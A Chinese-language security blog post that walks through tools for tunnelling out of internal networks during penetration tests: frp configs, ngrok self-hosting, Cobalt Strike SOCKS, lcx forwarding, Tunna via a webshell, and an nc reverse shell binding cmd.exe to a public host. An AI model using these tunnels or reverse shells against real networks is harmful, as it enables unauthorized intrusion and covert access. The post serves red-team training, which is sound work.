连长 's Blog
就平写一些文章,没有任何装逼的成分。
Toggle navigation
连长 's Blog
主页
红蓝对抗
渗透测试
代码审计
漏洞复现
工具类型
其他类型
关于博主
友情链接
归档
标签
内网渗透测试快速穿透内网指南。
无
2020-08-10 13:42:30
484
0
0
funk
## 0x01 说明 内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。内网穿透分了N种,这里我们只介绍快速简单高效的穿透工具,并且简单说明下穿透工具的使用方法,给各位师傅可补充建议。 ## 0x02 FRP穿透 ### 说明 frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。 frp分客户端和服务端,服务器只开放端口让别人客户端连接进来并且提供穿透的协议,架构如下:  ### 使用方法 frp分 frps和frpc,frps是服务端**必须**放在有公网的机器上frpc是客户端运行在被控制端上面。 frps.exe 对应的 配置文件是frps.ini frpc.exe 对应的 配置文件是frpc.ini 具体参照官方解释说明: [https://github.com/fatedier/frp/blob/master/README_zh.md ](https://github.com/fatedier/frp/blob/master/README_zh.md) #### 转发socks5 一下是我的客户端配置文件,测试可用。 服务端配置: ``` [common] bind_addr = 0.0.0.0 bind_port = 7000 bind_udp_port = 7001 token = mytokenpasswrod max_pool_count = 50 # 一下是选择配置 # Dashboard通过浏览器查看 frp 的状态以及代理统计信息展示。 dashboard_addr = 0.0.0.0 dashboard_port = 7500 dashboard_user = Funk dashboard_pwd = Funk123 #日志记录 #log_file = ./frps.log #log_level = info #log_max_days = 1 ``` 客户端配置: ``` [common] server_addr = 你的服务端IP server_port = 7000 tls_enable = true # true 开启 TLS 协议加密传输 启用此功能后除 xtcp 外,不需要再设置 use_encryption。 pool_count = 40 token = mytokenpasswrod [plugin_socks] type = tcp remote_port = 46075 plugin = socks5 plugin_user = allsec plugin_passwd = mysockspassword # use_encryption = true # 开启加密功能绕过防火墙 use_compression = true # 开启压塑功能 压缩算法使用 snappy # Admin UI 可以帮助用户通过浏览器来查询和管理客户端的 proxy 状态和配置。 # admin_addr = 0.0.0.0 # admin_port = 7400 # admin_user = admin # admin_pwd = admin ``` ## 0x02 Ngrok 穿透 ### 说明 ngrok目前支持自建的开源版本是1.x版,这个版本的话怎么说呢,除了有内存、文件描述符泄漏的蛋疼BUG外(作者是这么说的),其实还是能用的,作者自己又搞了个2.x版本,不过不开源而是在自己的ngrok.com上用,不过么……这个貌似在国内访问貌似有问题来着,所以么,要么用公开的ngrok服务器,要么就是自己搭。本次我们介绍的就是自己搭(1.x版)比较蛋疼,不过这有好处也有坏处,好处就是可用付费采用其他人的ngrok服务器,坏处就是搭建一次太费劲了,让你怀疑人生。。。。。。 ### 安装配置 因为ngrok也是用Go写的,所以需要安装Go,这里是为了稳妥配置了环境变量,你也可以试试直接通过yum来安装,我懒得试了 ``` yum groupinstall "Development tools" -y wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz tar xzf go1.8.3.linux-amd64.tar.gz -C /usr/local mkdir /usr/local/gopackage vi /etc/profile #在profile中加入下面的环境变量,PATH如果原来就有请自行合并 GOROOT=/usr/local/go GOPATH=/usr/local/gopackage PATH=$PATH:$GOROOT/bin:$GOPATH/bin export GOROOT GOPATH PATH source /etc/profile git <span class="hljs-built_in">clone</span> https://github.com/inconshreveable/ngrok.git ngrok cd ngrok #然后我们生成下新的证书替换默认的,最后的cp选y来覆盖 NGROK_DOMAIN="ngrok.miku.one" openssl genrsa -out base.key 2048 openssl req -new -x509 -nodes -key base.key -days 10000 -subj "/CN=$NGROK_DOMAIN" -out base.pem openssl genrsa -out server.key 2048 openssl req -new -key server.key -subj "/CN=$NGROK_DOMAIN" -out server.csr openssl x509 -req -in server.csr -CA base.pem -CAkey base.key -CAcreateserial -days 10000 -out server.crt cp base.pem assets/client/tls/ngrokroot.crt make release-server release-client ``` OK,如果没有报错的话你会在bin目录下看到服务端和客户端的可执行文件了,还有个go-bindata不知道有啥用,别管它了 `./bin/ngrokd -tlsKey=server.key -tlsCrt=server.crt -domain="ngrok.miku.one" -httpAddr=":8081" -httpsAddr=":8082" -tunnelAddr=":4443"` 这样就把服务端跑起来了 好了,之前生成了Linux下的客户端,很多情况下我们用的是Windows或者macOS,这就需要我们编译其它平台的客户端了 ``` #编译Mac的客户端 GOOS=darwin GOARCH=amd64 make release-client #编译Windows的客户端 GOOS=windows GOARCH=amd64 make release-client ``` 在bin下会多出文件夹,里面就是你的客户端了,这样我们就能继续了 这俩是ngrok的客户端,一个是c写的,一个是Python写的,适用于特定环境(比如路由器这种存储空间很小,尽量节省资源啥的) https://github.com/dosgo/ngrok-c https://github.com/hauntek/python-ngrok 总体来说做渗透测试不推荐使用。。等你吧服务都装完了别人都日完了。。。。 ## 0x03 Cobalt Strike CobaltStrike是一款快速内网横向移动的工具,当然也提供内网穿透的效果。  也是非常简单一条命令开启。可惜是SOCKS4代理。 socks Start SOCKS4a server to relay traffic socks stop Stop SOCKS4a server ## 0x04 杂项各种穿透 摘取网上的! ### LCX lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap, Windows版使用方法如下:  lcx有两大功能: 1)端口转发(listen和slave成对使用) 2)端口映射(tran) 内网端口转发: 服务端: `lcx.exe –listen 4444 5555` 客户端: `lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389` ### nc 反弹 nc使用方法:  反向连接 在公网主机上进行监听: 服务器端: `nc -lvp 4444` 客户端: `nc -t -e cmd.exe 公网主机ip 4444` ### reGeorg 使用方法(详见[github]( https://github.com/sensepost/reGeorg)):  ### Tunna 使用方法(详见[github]( https://github.com/SECFORCE/Tunna)): 该工具使用的先决条件: 能够在远程服务器上上传webshell 使用方法: `python proxy.py -u <remoteurl> -l <localport> [options]` options: ``` --help, -h 显示此帮助信息并退出 --url=URL, -u URL 为远程webshell的URL --lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口 --verbose, -v 详细(输出数据包大小) --buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制) ``` No SOCKS Options: 如果使用SOCKS代理,选项将被忽略 ``` --no-socks, -n 不使用 Socks 代理 --rport=REMOTE_PORT, -r REMOTE_PORT远程服务端口,供webshell连接 --addr=REMOTE_IP, -a REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1) ``` 上游代理选项: 通过本地代理进行隧道连接 ``` --up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128) --auth, -A 上游代理需要认证 ``` 高级选项: ``` --ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5) --start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH) --cookie, -C 请求cookies --authentication, -t 基本认证 ``` 使用方法示例: 内网主机为Windows: `python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v` ## 0x05 总结 目前内网渗透中一般都会用到端口转发与代理,本文也只是列出了一些常见的工具,还有很多其他工具没有涉及到,希望能给大家带来一些帮助,一般推荐frp穿透和cs穿透,不过cs穿透无法加密,可能会被某些防火墙识别流量,使用Tunna的话又不稳定,一般是只有shell的环境或者是权限比较极端的时候才会选用,不过Tunna也有弊端。 参考链接: https://www.freebuf.com/articles/web/170970.html https://github.com/sensepost/reGeorg https://github.com/SECFORCE/Tunna https://github.com/inconshreveable/ngrok/releases https://github.com/fatedier/frp https://www.lianzhang.org
上一篇:
黑阔的自建中转服务轻松玩落地隐藏行踪
下一篇:
Apache Solr < 8.2.0 RCE漏洞复现
0
赞
484 人读过
新浪微博
微信
腾讯微博
QQ空间
人人网
提交评论
立即登录
, 发表评论.
没有帐号?
立即注册
0
条评论
More...
文档导航
没有帐号? 立即注册